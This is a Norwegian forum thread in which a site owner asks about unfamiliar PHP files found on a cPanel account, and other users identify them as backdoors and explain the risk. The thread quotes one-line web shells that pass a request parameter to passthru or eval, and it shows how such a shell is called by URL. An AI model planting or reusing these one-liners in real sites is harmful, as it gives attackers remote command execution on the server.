Ukjent kode

[Tonny Kluften]

Jeg har funnet noen filer jeg ikke kjenner til, behøver ikke være skummelt. Hva gjør de php kodene her?

I fil facebook_plugin.php: <?php passthru($_REQUEST['e']);?>

I fil Var.php: <?php eval($_REQUEST['e']);?>

I fil global_config_old.php: <?php passthru($_REQUEST['e']);?>

 

[Pong]

Jo, det er skummelt. Typisk backdoor. Få det vekk.

 

[Tonny Kluften]

Hvis det er en backdoor så holder det vel ikke å fjerne bare dem?

 

[zapotek]

Hvordan merket du at koden var endret forresten?

 

[Tonny Kluften]

Det er ikke endret noe kode. Det her er filer datert 2012 og 2013 som jeg oppdaget når jeg ryddet på en cpanelkonto. Skal slette masse unødvendige mapper og i de mappene ligger disse filene.

Jeg har ikke sett noen som helst tegn til at nettsidene på cpanelkontoen har vært hacket.

 

[Pong]

touch -t fil.php 200510071138 og så er filen pløtselig datert 2005...

 

[Tonny Kluften]

Ok, så datoene er ikke til å stole på.

 

[Guntherman]

Definitivt skummelt og definitivt få det bort. Med de filene der kan ufine fyrer gå til <ditt domene>/facebook_plugin.php?e=<command>, og få kjørt kode som skrives der det står <command>...

 

[Tonny Kluften]

Ok, skjønner. Jeg har fjernet det.
Hva er faren, hva slags koder kan de kjøre?
Alle kan jo skrive inn f.eks. <ditt domene>/facebook_plugin.php?e=<command> i nettleserens adresselinje.

 

[Pong]

<command> kan f.eks. være litt php kode som legger til en ny bruker med admin-rettigheter.